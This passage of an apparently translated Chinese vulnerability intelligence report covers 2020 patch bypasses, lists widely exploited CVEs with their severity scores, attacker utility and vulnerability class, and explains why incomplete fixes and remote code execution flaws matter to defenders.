rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17496</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">vBulletin subWidgets data RCE</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the  wild </span></span><span style="font-family:Arial,sans-serif;color:#595959;">(released as 0 day)</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="171" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14750</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Oracle WebLogic Unauthenticated Remote Code Execution  Patch Bypass</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="122" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="120" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr></tbody></table><p><span style="font-size: 15px;">当企业内部发现新的紧急漏洞补丁发布的时候，他们一般不会按平日预定的补丁修复计划去执行，而是选择直接打补丁。但这样做的前提是，供应商提供的补丁或缓解措施是经过严格审查的，并且(至少在某种程度上)是值得信赖的。在这点上攻击者则会遵循完全不同的原则。即，发现一个缺陷意味着这个系列产品可能有更多的缺陷可以去发掘，且这些缺陷通常存在于目标产品代码库的相同功能、或部分协议中。然而，对于攻击者来说，花精力寻找零日漏洞的意义并不是特别大，因此他们可以在一个修补过的漏洞上进行操作并修改，然后使这个补丁不生效，让漏洞重新暴露出来。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">2020年，在大量的供应商、产品、web应用程序、操作系统和库中，都出现了一些绕过cve的补丁和不完整的修复。我们在这里详细介绍其中的9个，但这些还远远不够全面。2020年是补丁绕过程序发展标志性的一年，这对于许多没有周期性漏洞管理导致风险增加而不知情的组织来说是不幸的。我们在此报告中包含的许多补丁绕过程序也都有一些父级漏洞，它们要么在野外被频繁利用（例如，Oracle WebLogic Server CVE-2020-14750、Windowskernel CVE-2020-17008、vBulletin CVE-2020-17496），要么被频繁记录在案（例如，Windows“PrintDemon”CVE-2020-1337）。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">用什么可以解释此漏洞的产生？在某些情况下，漏洞的形成越复杂可能会使解决方案相应地变得复杂，从而无法快速，有效地开发。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">Microsoft Exchange CVE-2020-16875就是一个很好的例子，这个“修复”掐断了公开的攻击链，但却没有解决其根本原因，导致了后续出现了相应的补丁绕过CVE-2020-17132。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">当在主机系统的核心架构密切相关的组件或行为中出现漏洞时，也很难找到根本原因，因为对这些漏洞尝试修复可能会对正常使用造成不利影响。有时，当漏洞可以在应用程序内部使用时，就会出现这种情况，例如vBulletin CVE-2020-17496。在这种情况下，该漏洞与PHP模板的处理方式有关——vBulletin中的意图和重要功能。如果您正在寻找第二个用例，那PyYAML库漏洞是一个很好的用例。在这两种情况下，维护此类项目都会选择实施过滤和其他控制，以限制攻击者对脆弱功能的访问。当然，这些控制最终都容易被绕过。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在过去的一年中，补丁绕过的普遍存在强调了对纵深防御策略的需要，包括对关键和暴露在外系统的安全意识。更多建议见本报告末尾的防御指南部分。</span></p><p><span style="font-size: 15px;"><br/></span></p><h1><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 17px;">The Dream of a Common Language</span></strong></span></h1><h1><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">2.实用漏洞详情</span></strong></h1><p><span style="font-size: 15px;">当需要了解到一个新的漏洞时，我们首先要了解的是其产生的根本原因以及攻击者可能利用该漏洞来实现什么目的。从应用程序编程错误到加密实现，再到硬件错误等等，任何一部分出现失误都会导致漏洞产生。同样，任何既定漏洞的潜在影响可能会根据现实情况、安全控制、以及攻击者，通过利用而获得的数据或权限的敏感性而有很大差异。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">您可能已经注意到，我们已经按照攻击者实用程序和脆弱性类别对报告数据集合中的漏洞进行了分类，并按照威胁状态将它们分开。攻击者实用程序（Attacker Utilities）描述攻击者希望通过成功的攻击获得什么(这通常反应到攻击链的一部分)，而脆弱性类别是一个总称，它包含了根本原因和可能触发它的高级技术类型。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5523465703971119" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d30b8aad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWpjo9JmxibQmowqtjAWRIDXmHvfozSBcJicScTico8VNibkIjDMsOLAna3T4FmsquuKK8dYncpgFPTYw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">我们已经定义了四个脆弱性类别——不适当的访问控制、内存损坏、注入和反序列化——它们有助于对可用的攻击者工具进行初步评估，并形成关于相对可利用性的假设。例如，注入攻击使用精心制作的输入和技术(例如SQL注入、操作系统命令注入)来破坏数据完整性以作为高特权用户运行任意代码。相较于利用内存损坏漏洞的攻击，这种攻击往往是稳定且可靠的，更不容易对目标系统造成破坏。反序列化漏洞具有很高的可利用性，并拥有大量现成的工具来构建可利用链。不恰当的访问控制缺陷(<span style="color: black;">在我们的高频利用威胁中是最常见的</span>)从复杂的工具攻击到使用url构造等，几乎无所不在。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">“2020年11个最严重和最具影响的漏洞都是由反序列化和不适当的访问控制漏洞造成的”</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">不当的访问控制漏洞对公司网络的威胁几乎相同，允许攻击者绕过身份验证(如果存在身份验证的话)、执行代码、添加管理用户和将文件写入磁盘。这些缺陷一直模糊了漏洞管理和事件响应之间的界限。</span></p><table cellspacing="0" cellpadding="0" width="555"><tbody><tr><td width="198" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;"><p style="text-align:left;"><strong><span style="font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="53" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="134" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="90" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="80" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2019-18935</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Telerik UI RadAsyncUpload .NET Deserialization</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0688</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Microsoft Exchange Server Static Validation Key Remote  Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / .NET</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE- 2020-10189</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Zoho ManageEngine Remote Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (released as 0day)</span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-15505</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">MobileIron Core and Connector Remote Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Deserialization / Java</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1472</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">NetLogon Elevation of Privilege &#34;Zerologon&#34;</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Lateral movement</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-11651</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SaltStack Salt Remote Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2019-19781</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN Arbitrary Code  Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5902</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">F5 Big-IP TMUI Remote Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;"> 10</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14750</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">WebLogic Unauthenticated Remote Code Execution Patch  Bypass</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;"> 9.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-6287</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SAP NetWeaver AS Java &#34;RECON&#34;</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="198" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14882</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Oracle WebLogic Server Remote Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;"> 9.8</span></p></td><td width="134" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="90" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="80" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr></tbody></table><p><span style="font-size: 15px;">我们的研究人员在分析紧急威胁时定义的第二个要素回答了这样一个问题:“作为一个攻击者，这个漏洞给我带来了什么?”例如：远程代码执行就是是供应商和CVE编号机构(CNAs)经常描述严重漏洞的一种方式，但在某些情况下，这种描述淡化了严重CVE可用于进一步危害网络的信息。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.555956678700361" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=5e3cf3ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWpjo9JmxibQmowqtjAWRIDXC0ibqNrKDyicjibxp3B22gr60ZB8cyQalXvBVhNo7Vvpo2CaaapibC0OjA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">不出所料，为攻击者提供远程代码执行机会（即在目标系统上执行有效负载的能力）的漏洞是我们分析的50个CVE中最具代表性的实用程序类型，几乎占总数据总合的50%。相对于其他类型的漏洞来说本地代码执行的特性就不那么突出了，但这也不足为奇了，因为从互联网发起对互联网的攻击要相对容易得多。经过我们分析觉得对于攻击者而言，他会觉得可以破坏整个网络基础设施（例如，虚拟化或自动化基础设施）所获得的成就感大大的超过单一的目标攻击。</span></p><p><span style="font-size: 15px;"><br/></span></p><p><span style="font-size: 15px;">“文件枚举的 CVEs 在安全新闻或社交媒体上成为头条新闻要少得多，但往往这些信息泄露的都是很重要的信息，并且可以借助这些消息知晓代码执行路径，原本需要验证身份的CVE漏洞现在不需要身份验证即可执行。”</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">其中一个最好的例子是CVE-2019-11510，它是Pulse Secure vpn中一个未经验证的远程任意文件读取漏洞，利用该漏洞可泄露密码和私钥等敏感信息。这些信息使攻击者能够在易受攻击的VPN服务器上以root身份执行命令。（GitLabCVE-2020-10977则是另一个最新的例子！）</span></p><p style=""><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong>我家大门常打开：Network Pivots（网络枢纽）</strong><strong><span style="font-size: 15px;"></span></strong></span></h2><p><span style="font-size: 15px;">2020网络枢纽CVES：</span></p><table cellspacing="0" cellpadding="0" width="555"><tbody><tr><td width="228" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;"><p style="text-align:left;"><strong><span style="font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="53" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="139" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="56" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="79" style="border-top: 1px 